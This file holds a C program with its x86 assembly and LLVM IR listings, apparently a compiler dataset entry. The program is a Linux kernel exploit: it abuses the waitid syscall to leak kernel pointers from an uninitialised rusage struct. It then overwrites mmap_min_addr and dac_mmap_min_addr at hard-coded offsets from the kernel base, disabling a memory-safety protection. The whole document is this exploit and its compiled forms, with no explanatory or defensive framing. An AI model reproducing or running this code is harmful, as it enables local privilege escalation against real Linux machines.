#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct rusage {
  int dummy;
};
typedef int /*<<< orphan*/ siginfo_t;
typedef int /*<<< orphan*/ rusage;

/* Variables and functions */
int /*<<< orphan*/ P_PID;
int WEXITED;
int WNOHANG;
int /*<<< orphan*/ __NR_waitid;
int __WNOTHREAD;
int /*<<< orphan*/ exit(int);
int fork();
unsigned long *get_kernel_sym(char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ sleep(int);
int /*<<< orphan*/ syscall(int /*<<< orphan*/, int /*<<< orphan*/, int,
                           int /*<<< orphan*/ *, int, struct rusage *);
int main(void) {
  int pid, pid2, pid3;
  struct rusage rusage = {};
  unsigned long *p, *kernel_base;
  char *mmap_min_addr, *dac_mmap_min_addr;
  pid = fork();
  if (pid > 0) {
    syscall(__NR_waitid, P_PID, pid, NULL, WEXITED | WNOHANG | __WNOTHREAD,
            &rusage);
    printf("[+] Leak size=%d bytes\n", sizeof(rusage));
    for (p = (unsigned long *)&rusage;
         p < (unsigned long *)((char *)&rusage + sizeof(rusage)); p++) {
      printf("[+] Leak point: %p\n", p);
      if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) {
        p = (unsigned long *)(*p & 0xffffffffff000000);
        break;
      }
    }
    if (p < (unsigned long *)0xffffffff00000000 ||
        p > (unsigned long *)0xffffffffff000000)
      exit(-1);
  } else if (pid == 0) {
    sleep(1);
    exit(0);
  }
  kernel_base = get_kernel_sym("startup_64");
  printf("[+] Got kernel base: %p\n", kernel_base);
  mmap_min_addr = (char *)kernel_base + 0x1101de8;
  printf("[+] Got mmap_min_addr: %p\n", mmap_min_addr);
  dac_mmap_min_addr = (char *)kernel_base + 0xe8e810;
  printf("[+] Got dac_mmap_min_addr: %p\n", dac_mmap_min_addr);
  pid2 = fork();
  if (pid2 > 0) {
    printf("[+] Overwriting map_min_addr...\n");
    if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2),
                WEXITED | WNOHANG | __WNOTHREAD, NULL) < 0) {
      printf("[-] Failed!\n");
      exit(1);
    }
  } else if (pid2 == 0) {
    sleep(1);
    exit(0);
  }
  pid3 = fork();
  if (pid3 > 0) {
    printf("[+] Overwriting dac_mmap_min_addr...\n");
    if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(dac_mmap_min_addr - 2),
                WEXITED | WNOHANG | __WNOTHREAD, NULL) < 0) {
      printf("[-] Failed!\n");
      exit(1);
    }
    printf("[+] map_min_addr disabled!\n");
    exit(0);
  } else if (pid3 == 0) {
    sleep(1);
    exit(0);
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
movl   $0x0,-0x4(%rbp)
lea    -0x18(%rbp),%rdi
xor    %esi,%esi
mov    $0x4,%edx
call   1040 <memset@plt>
mov    $0x0,%al
call   1090 <fork@plt>
mov    %eax,-0x8(%rbp)
cmpl   $0x0,-0x8(%rbp)
jle    12ad <main+0x13d>
mov    0x2e26(%rip),%rax
mov    (%rax),%edi
mov    0x2e2d(%rip),%rax
mov    (%rax),%esi
mov    -0x8(%rbp),%edx
mov    0x2e19(%rip),%rax
mov    (%rax),%r8d
mov    0x2dff(%rip),%rax
or     (%rax),%r8d
mov    0x2e15(%rip),%rax
or     (%rax),%r8d
xor    %eax,%eax
mov    %eax,%ecx
lea    -0x18(%rbp),%r9
call   1050 <syscall@plt>
lea    0xe16(%rip),%rdi
mov    $0x4,%esi
mov    $0x0,%al
call   1030 <printf@plt>
lea    -0x18(%rbp),%rax
mov    %rax,-0x20(%rbp)
mov    -0x20(%rbp),%rax
lea    -0x18(%rbp),%rcx
add    $0x4,%rcx
cmp    %rcx,%rax
jae    1279 <main+0x109>
mov    -0x20(%rbp),%rsi
lea    0xdfa(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x20(%rbp),%rax
movabs $0xffffffff00000000,%rcx
ff ff ff
cmp    %rcx,(%rax)
jbe    1263 <main+0xf3>
mov    -0x20(%rbp),%rax
cmpq   $0xffffffffff000000,(%rax)
jae    1263 <main+0xf3>
mov    -0x20(%rbp),%rax
mov    (%rax),%rax
and    $0xffffffffff000000,%rax
mov    %rax,-0x20(%rbp)
jmp    1279 <main+0x109>
jmp    1268 <main+0xf8>
mov    -0x20(%rbp),%rax
add    $0x8,%rax
mov    %rax,-0x20(%rbp)
jmp    11fe <main+0x8e>
movabs $0xffffffff00000000,%rax
ff ff ff
cmp    %rax,-0x20(%rbp)
jb     129e <main+0x12e>
mov    $0xffffffffff000000,%rax
cmp    %rax,-0x20(%rbp)
jbe    12a8 <main+0x138>
mov    $0xffffffff,%edi
call   1070 <exit@plt>
jmp    12cd <main+0x15d>
cmpl   $0x0,-0x8(%rbp)
jne    12c8 <main+0x158>
mov    $0x1,%edi
call   1080 <sleep@plt>
xor    %edi,%edi
call   1070 <exit@plt>
jmp    12cd <main+0x15d>
lea    0xd58(%rip),%rdi
call   1060 <get_kernel_sym@plt>
mov    %rax,-0x28(%rbp)
mov    -0x28(%rbp),%rsi
lea    0xd4f(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x28(%rbp),%rax
add    $0x1101de8,%rax
mov    %rax,-0x30(%rbp)
mov    -0x30(%rbp),%rsi
lea    0xd48(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x28(%rbp),%rax
add    $0xe8e810,%rax
mov    %rax,-0x38(%rbp)
mov    -0x38(%rbp),%rsi
lea    0xd43(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    $0x0,%al
call   1090 <fork@plt>
mov    %eax,-0xc(%rbp)
cmpl   $0x0,-0xc(%rbp)
jle    13bc <main+0x24c>
lea    0xd40(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    0x2c78(%rip),%rax
mov    (%rax),%edi
mov    0x2c7f(%rip),%rax
mov    (%rax),%esi
mov    -0x8(%rbp),%edx
mov    -0x30(%rbp),%rcx
add    $0xfffffffffffffffe,%rcx
mov    0x2c63(%rip),%rax
mov    (%rax),%r8d
mov    0x2c49(%rip),%rax
or     (%rax),%r8d
mov    0x2c5f(%rip),%rax
or     (%rax),%r8d
xor    %eax,%eax
mov    %eax,%r9d
call   1050 <syscall@plt>
cmp    $0x0,%eax
jge    13b7 <main+0x247>
lea    0xd05(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    $0x1,%edi
call   1070 <exit@plt>
jmp    13dc <main+0x26c>
cmpl   $0x0,-0xc(%rbp)
jne    13d7 <main+0x267>
mov    $0x1,%edi
call   1080 <sleep@plt>
xor    %edi,%edi
call   1070 <exit@plt>
jmp    13dc <main+0x26c>
mov    $0x0,%al
call   1090 <fork@plt>
mov    %eax,-0x10(%rbp)
cmpl   $0x0,-0x10(%rbp)
jle    1479 <main+0x309>
lea    0xcc1(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    0x2bcb(%rip),%rax
mov    (%rax),%edi
mov    0x2bd2(%rip),%rax
mov    (%rax),%esi
mov    -0x8(%rbp),%edx
mov    -0x38(%rbp),%rcx
add    $0xfffffffffffffffe,%rcx
mov    0x2bb6(%rip),%rax
mov    (%rax),%r8d
mov    0x2b9c(%rip),%rax
or     (%rax),%r8d
mov    0x2bb2(%rip),%rax
or     (%rax),%r8d
xor    %eax,%eax
mov    %eax,%r9d
call   1050 <syscall@plt>
cmp    $0x0,%eax
jge    1464 <main+0x2f4>
lea    0xc58(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    $0x1,%edi
call   1070 <exit@plt>
lea    0xc73(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
xor    %edi,%edi
call   1070 <exit@plt>
cmpl   $0x0,-0x10(%rbp)
jne    1494 <main+0x324>
mov    $0x1,%edi
call   1080 <sleep@plt>
xor    %edi,%edi
call   1070 <exit@plt>
jmp    1499 <main+0x329>
xor    %eax,%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x10,%rsp
movl   $0x0,0x8(%rsp)
xor    %eax,%eax
call   1090 <fork@plt>
mov    %eax,%r14d
test   %eax,%eax
jle    122b <main+0xbb>
mov    $0xfeffffff,%ebp
mov    0x2e2e(%rip),%rax
mov    (%rax),%edi
mov    0x2e35(%rip),%rax
mov    0x2e26(%rip),%rcx
mov    0x2e0f(%rip),%rdx
mov    (%rdx),%r8d
or     (%rcx),%r8d
mov    (%rax),%esi
mov    0x2e20(%rip),%rax
or     (%rax),%r8d
lea    0x8(%rsp),%rbx
mov    %r14d,%edx
xor    %ecx,%ecx
mov    %rbx,%r9
call   1050 <syscall@plt>
lea    0xe1c(%rip),%rdi
mov    $0x4,%esi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xc(%rsp),%r12
lea    0xe1c(%rip),%r15
nopl   0x0(%rax)
mov    %r15,%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
mov    (%rbx),%rax
lea    (%rax,%rbp,1),%rcx
add    $0x1000000,%rcx
cmp    %rbp,%rcx
jb     1232 <main+0xc2>
add    $0x8,%rbx
cmp    %r12,%rbx
jb     1200 <main+0x90>
jmp    123b <main+0xcb>
jne    125b <main+0xeb>
jmp    132b <main+0x1bb>
and    $0xffffffffff000000,%rax
mov    %rax,%rbx
movabs $0xffffffff00000000,%rax
ff ff ff
cmp    %rax,%rbx
jb     13a4 <main+0x234>
cmp    $0xffffffffff000001,%rbx
jae    13a4 <main+0x234>
lea    0xdca(%rip),%rdi
call   1060 <get_kernel_sym@plt>
mov    %rax,%rbx
lea    0xdc6(%rip),%rdi
mov    %rax,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0x1101de8(%rbx),%rbp
lea    0xdc7(%rip),%rdi
mov    %rbp,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
add    $0xe8e810,%rbx
lea    0xdca(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
xor    %eax,%eax
call   1090 <fork@plt>
test   %eax,%eax
jle    130d <main+0x19d>
lea    0xe0d(%rip),%rdi
call   1030 <puts@plt>
mov    0x2d07(%rip),%rax
mov    (%rax),%edi
mov    0x2d0e(%rip),%rax
mov    (%rax),%esi
mov    0x2cfd(%rip),%rax
mov    0x2ce6(%rip),%rcx
mov    (%rcx),%r8d
or     (%rax),%r8d
add    $0xfffffffffffffffe,%rbp
mov    0x2cf5(%rip),%rax
or     (%rax),%r8d
mov    %r14d,%edx
mov    %rbp,%rcx
xor    %r9d,%r9d
call   1050 <syscall@plt>
test   %eax,%eax
jns    130f <main+0x19f>
jmp    138e <main+0x21e>
je     132b <main+0x1bb>
xor    %eax,%eax
call   1090 <fork@plt>
test   %eax,%eax
jg     133c <main+0x1cc>
je     132b <main+0x1bb>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
mov    $0x1,%edi
call   1080 <sleep@plt>
xor    %edi,%edi
call   1070 <exit@plt>
lea    0xd47(%rip),%rdi
call   1030 <puts@plt>
mov    0x2c81(%rip),%rax
mov    (%rax),%edi
mov    0x2c88(%rip),%rax
mov    (%rax),%esi
mov    0x2c77(%rip),%rax
mov    0x2c60(%rip),%rcx
mov    (%rcx),%r8d
or     (%rax),%r8d
add    $0xfffffffffffffffe,%rbx
mov    0x2c6f(%rip),%rax
or     (%rax),%r8d
mov    %r14d,%edx
mov    %rbx,%rcx
xor    %r9d,%r9d
call   1050 <syscall@plt>
test   %eax,%eax
jns    13ae <main+0x23e>
lea    0xd55(%rip),%rdi
call   1030 <puts@plt>
mov    $0x1,%edi
call   1070 <exit@plt>
mov    $0xffffffff,%edi
call   1070 <exit@plt>
lea    0xcfa(%rip),%rdi
call   1030 <puts@plt>
xor    %edi,%edi
call   1070 <exit@plt>

LLVM IR (-O0):
%struct.rusage = type { i32 }
@__NR_waitid = global i32 0
@P_PID = global i32 0
@WEXITED = global i32 0
@WNOHANG = global i32 0
@__WNOTHREAD = global i32 0
@.str = [24 x i8] c"[+] Leak size=%d bytes\0A\00"
@.str.1 = [20 x i8] c"[+] Leak point: %p\0A\00"
@.str.2 = [11 x i8] c"startup_64\00"
@.str.3 = [25 x i8] c"[+] Got kernel base: %p\0A\00"
@.str.4 = [27 x i8] c"[+] Got mmap_min_addr: %p\0A\00"
@.str.5 = [31 x i8] c"[+] Got dac_mmap_min_addr: %p\0A\00"
@.str.6 = [33 x i8] c"[+] Overwriting map_min_addr...\0A\00"
@.str.7 = [13 x i8] c"[-] Failed!\0A\00"
@.str.8 = [38 x i8] c"[+] Overwriting dac_mmap_min_addr...\0A\00"
@.str.9 = [28 x i8] c"[+] map_min_addr disabled!\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca %struct.rusage
%6 = alloca i64*
%7 = alloca i64*
%8 = alloca i8*
%9 = alloca i8*
store i32 0, i32* %1
%10 = bitcast %struct.rusage* %5 to i8*
%11 = call i32 (...) @fork()
store i32 %11, i32* %2
%12 = load i32, i32* %2
%13 = icmp sgt i32 %12, 0
br i1 %13, label %14, label %60
14: ; preds = %0
%15 = load i32, i32* @__NR_waitid
%16 = load i32, i32* @P_PID
%17 = load i32, i32* %2
%18 = load i32, i32* @WEXITED
%19 = load i32, i32* @WNOHANG
%20 = or i32 %18, %19
%21 = load i32, i32* @__WNOTHREAD
%22 = or i32 %20, %21
%23 = call i32 @syscall(i32 %15, i32 %16, i32 %17, i32* null, i32 %22, %struct.rusage* %5)
%24 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0), i64 4)
%25 = bitcast %struct.rusage* %5 to i64*
store i64* %25, i64** %6
br label %26
26: ; preds = %48, %14
%27 = load i64*, i64** %6
%28 = bitcast %struct.rusage* %5 to i8*
%29 = getelementptr inbounds i8, i8* %28, i64 4
%30 = bitcast i8* %29 to i64*
%31 = icmp ult i64* %27, %30
br i1 %31, label %32, label %51
32: ; preds = %26
%33 = load i64*, i64** %6
%34 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.1, i64 0, i64 0), i64* %33)
%35 = load i64*, i64** %6
%36 = load i64, i64* %35
%37 = icmp ugt i64 %36, -4294967296
br i1 %37, label %38, label %47
38: ; preds = %32
%39 = load i64*, i64** %6
%40 = load i64, i64* %39
%41 = icmp ult i64 %40, -16777216
br i1 %41, label %42, label %47
42: ; preds = %38
%43 = load i64*, i64** %6
%44 = load i64, i64* %43
%45 = and i64 %44, -16777216
%46 = inttoptr i64 %45 to i64*
store i64* %46, i64** %6
br label %51
47: ; preds = %38, %32
br label %48
48: ; preds = %47
%49 = load i64*, i64** %6
%50 = getelementptr inbounds i64, i64* %49, i32 1
store i64* %50, i64** %6
br label %26
51: ; preds = %42, %26
%52 = load i64*, i64** %6
%53 = icmp ult i64* %52, inttoptr (i64 -4294967296 to i64*)
br i1 %53, label %57, label %54
54: ; preds = %51
%55 = load i64*, i64** %6
%56 = icmp ugt i64* %55, inttoptr (i64 -16777216 to i64*)
br i1 %56, label %57, label %59
57: ; preds = %54, %51
%58 = call i32 @exit(i32 -1)
unreachable
59: ; preds = %54
br label %67
60: ; preds = %0
%61 = load i32, i32* %2
%62 = icmp eq i32 %61, 0
br i1 %62, label %63, label %66
63: ; preds = %60
%64 = call i32 @sleep(i32 1)
%65 = call i32 @exit(i32 0)
unreachable
66: ; preds = %60
br label %67
67: ; preds = %66, %59
%68 = call i64* @get_kernel_sym(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.2, i64 0, i64 0))
store i64* %68, i64** %7
%69 = load i64*, i64** %7
%70 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.3, i64 0, i64 0), i64* %69)
%71 = load i64*, i64** %7
%72 = bitcast i64* %71 to i8*
%73 = getelementptr inbounds i8, i8* %72, i64 17833448
store i8* %73, i8** %8
%74 = load i8*, i8** %8
%75 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.4, i64 0, i64 0), i8* %74)
%76 = load i64*, i64** %7
%77 = bitcast i64* %76 to i8*
%78 = getelementptr inbounds i8, i8* %77, i64 15263760
store i8* %78, i8** %9
%79 = load i8*, i8** %9
%80 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.5, i64 0, i64 0), i8* %79)
%81 = call i32 (...) @fork()
store i32 %81, i32* %3
%82 = load i32, i32* %3
%83 = icmp sgt i32 %82, 0
br i1 %83, label %84, label %103
84: ; preds = %67
%85 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.6, i64 0, i64 0))
%86 = load i32, i32* @__NR_waitid
%87 = load i32, i32* @P_PID
%88 = load i32, i32* %2
%89 = load i8*, i8** %8
%90 = getelementptr inbounds i8, i8* %89, i64 -2
%91 = bitcast i8* %90 to i32*
%92 = load i32, i32* @WEXITED
%93 = load i32, i32* @WNOHANG
%94 = or i32 %92, %93
%95 = load i32, i32* @__WNOTHREAD
%96 = or i32 %94, %95
%97 = call i32 @syscall(i32 %86, i32 %87, i32 %88, i32* %91, i32 %96, %struct.rusage* null)
%98 = icmp slt i32 %97, 0
br i1 %98, label %99, label %102
99: ; preds = %84
%100 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.7, i64 0, i64 0))
%101 = call i32 @exit(i32 1)
unreachable
102: ; preds = %84
br label %110
103: ; preds = %67
%104 = load i32, i32* %3
%105 = icmp eq i32 %104, 0
br i1 %105, label %106, label %109
106: ; preds = %103
%107 = call i32 @sleep(i32 1)
%108 = call i32 @exit(i32 0)
unreachable
109: ; preds = %103
br label %110
110: ; preds = %109, %102
%111 = call i32 (...) @fork()
store i32 %111, i32* %4
%112 = load i32, i32* %4
%113 = icmp sgt i32 %112, 0
br i1 %113, label %114, label %135
114: ; preds = %110
%115 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.8, i64 0, i64 0))
%116 = load i32, i32* @__NR_waitid
%117 = load i32, i32* @P_PID
%118 = load i32, i32* %2
%119 = load i8*, i8** %9
%120 = getelementptr inbounds i8, i8* %119, i64 -2
%121 = bitcast i8* %120 to i32*
%122 = load i32, i32* @WEXITED
%123 = load i32, i32* @WNOHANG
%124 = or i32 %122, %123
%125 = load i32, i32* @__WNOTHREAD
%126 = or i32 %124, %125
%127 = call i32 @syscall(i32 %116, i32 %117, i32 %118, i32* %121, i32 %126, %struct.rusage* null)
%128 = icmp slt i32 %127, 0
br i1 %128, label %129, label %132
129: ; preds = %114
%130 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.7, i64 0, i64 0))
%131 = call i32 @exit(i32 1)
unreachable
132: ; preds = %114
%133 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.9, i64 0, i64 0))
%134 = call i32 @exit(i32 0)
unreachable
135: ; preds = %110
%136 = load i32, i32* %4
%137 = icmp eq i32 %136, 0
br i1 %137, label %138, label %141
138: ; preds = %135
%139 = call i32 @sleep(i32 1)
%140 = call i32 @exit(i32 0)
unreachable
141: ; preds = %135
br label %142
142: ; preds = %141
ret i32 0
}

LLVM IR (-O2):
%struct.rusage = type { i32 }
@__NR_waitid = global i32 0
@P_PID = global i32 0
@WEXITED = global i32 0
@WNOHANG = global i32 0
@__WNOTHREAD = global i32 0
@.str = [24 x i8] c"[+] Leak size=%d bytes\0A\00"
@.str.1 = [20 x i8] c"[+] Leak point: %p\0A\00"
@.str.2 = [11 x i8] c"startup_64\00"
@.str.3 = [25 x i8] c"[+] Got kernel base: %p\0A\00"
@.str.4 = [27 x i8] c"[+] Got mmap_min_addr: %p\0A\00"
@.str.5 = [31 x i8] c"[+] Got dac_mmap_min_addr: %p\0A\00"
@str = [37 x i8] c"[+] Overwriting dac_mmap_min_addr...\00"
@str.10 = [27 x i8] c"[+] map_min_addr disabled!\00"
@str.12 = [32 x i8] c"[+] Overwriting map_min_addr...\00"
@str.13 = [12 x i8] c"[-] Failed!\00"
define i32 @main() {
%1 = alloca %struct.rusage
%2 = bitcast %struct.rusage* %1 to i8*
%3 = getelementptr inbounds %struct.rusage, %struct.rusage* %1, i64 0, i32 0
store i32 0, i32* %3
%4 = tail call i32 (...) @fork()
%5 = icmp sgt i32 %4, 0
br i1 %5, label %6, label %38
6: ; preds = %0
%7 = load i32, i32* @__NR_waitid
%8 = load i32, i32* @P_PID
%9 = load i32, i32* @WEXITED
%10 = load i32, i32* @WNOHANG
%11 = or i32 %10, %9
%12 = load i32, i32* @__WNOTHREAD
%13 = or i32 %11, %12
%14 = call i32 @syscall(i32 %7, i32 %8, i32 %4, i32* null, i32 %13, %struct.rusage* %1)
%15 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0), i64 4)
%16 = bitcast %struct.rusage* %1 to i64*
%17 = getelementptr inbounds %struct.rusage, %struct.rusage* %1, i64 1
%18 = bitcast %struct.rusage* %17 to i64*
br label %19
19: ; preds = %6, %28
%20 = phi i64* [ %16, %6 ], [ %29, %28 ]
%21 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.1, i64 0, i64 0), i64* %20)
%22 = load i64, i64* %20
%23 = add i64 %22, 4294967295
%24 = icmp ult i64 %23, 4278190079
br i1 %24, label %25, label %28
25: ; preds = %19
%26 = and i64 %22, -16777216
%27 = inttoptr i64 %26 to i64*
br label %31
28: ; preds = %19
%29 = getelementptr inbounds i64, i64* %20, i64 1
%30 = icmp ult i64* %29, %18
br i1 %30, label %19, label %31
31: ; preds = %28, %25
%32 = phi i64* [ %27, %25 ], [ %29, %28 ]
%33 = icmp ult i64* %32, inttoptr (i64 -4294967296 to i64*)
%34 = icmp ugt i64* %32, inttoptr (i64 -16777216 to i64*)
%35 = or i1 %33, %34
br i1 %35, label %36, label %43
36: ; preds = %31
%37 = call i32 @exit(i32 -1)
unreachable
38: ; preds = %0
%39 = icmp eq i32 %4, 0
br i1 %39, label %40, label %43
40: ; preds = %38
%41 = tail call i32 @sleep(i32 1)
%42 = tail call i32 @exit(i32 0)
unreachable
43: ; preds = %38, %31
%44 = call i64* @get_kernel_sym(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.2, i64 0, i64 0))
%45 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([25 x i8], [25 x i8]* @.str.3, i64 0, i64 0), i64* %44)
%46 = getelementptr inbounds i64, i64* %44, i64 2229181
%47 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.4, i64 0, i64 0), i64* %46)
%48 = getelementptr inbounds i64, i64* %44, i64 1907970
%49 = bitcast i64* %48 to i8*
%50 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @.str.5, i64 0, i64 0), i64* %48)
%51 = call i32 (...) @fork()
%52 = icmp sgt i32 %51, 0
br i1 %52, label %53, label %70
53: ; preds = %43
%54 = bitcast i64* %46 to i8*
%55 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str.12, i64 0, i64 0))
%56 = load i32, i32* @__NR_waitid
%57 = load i32, i32* @P_PID
%58 = getelementptr inbounds i8, i8* %54, i64 -2
%59 = bitcast i8* %58 to i32*
%60 = load i32, i32* @WEXITED
%61 = load i32, i32* @WNOHANG
%62 = or i32 %61, %60
%63 = load i32, i32* @__WNOTHREAD
%64 = or i32 %62, %63
%65 = call i32 @syscall(i32 %56, i32 %57, i32 %4, i32* %59, i32 %64, %struct.rusage* null)
%66 = icmp slt i32 %65, 0
br i1 %66, label %67, label %75
67: ; preds = %53
%68 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @str.13, i64 0, i64 0))
%69 = call i32 @exit(i32 1)
unreachable
70: ; preds = %43
%71 = icmp eq i32 %51, 0
br i1 %71, label %72, label %75
72: ; preds = %70
%73 = call i32 @sleep(i32 1)
%74 = call i32 @exit(i32 0)
unreachable
75: ; preds = %70, %53
%76 = call i32 (...) @fork()
%77 = icmp sgt i32 %76, 0
br i1 %77, label %78, label %97
78: ; preds = %75
%79 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([37 x i8], [37 x i8]* @str, i64 0, i64 0))
%80 = load i32, i32* @__NR_waitid
%81 = load i32, i32* @P_PID
%82 = getelementptr inbounds i8, i8* %49, i64 -2
%83 = bitcast i8* %82 to i32*
%84 = load i32, i32* @WEXITED
%85 = load i32, i32* @WNOHANG
%86 = or i32 %85, %84
%87 = load i32, i32* @__WNOTHREAD
%88 = or i32 %86, %87
%89 = call i32 @syscall(i32 %80, i32 %81, i32 %4, i32* %83, i32 %88, %struct.rusage* null)
%90 = icmp slt i32 %89, 0
br i1 %90, label %91, label %94
91: ; preds = %78
%92 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @str.13, i64 0, i64 0))
%93 = call i32 @exit(i32 1)
unreachable
94: ; preds = %78
%95 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @str.10, i64 0, i64 0))
%96 = call i32 @exit(i32 0)
unreachable
97: ; preds = %75
%98 = icmp eq i32 %76, 0
br i1 %98, label %99, label %102
99: ; preds = %97
%100 = call i32 @sleep(i32 1)
%101 = call i32 @exit(i32 0)
unreachable
102: ; preds = %97
ret i32 0
}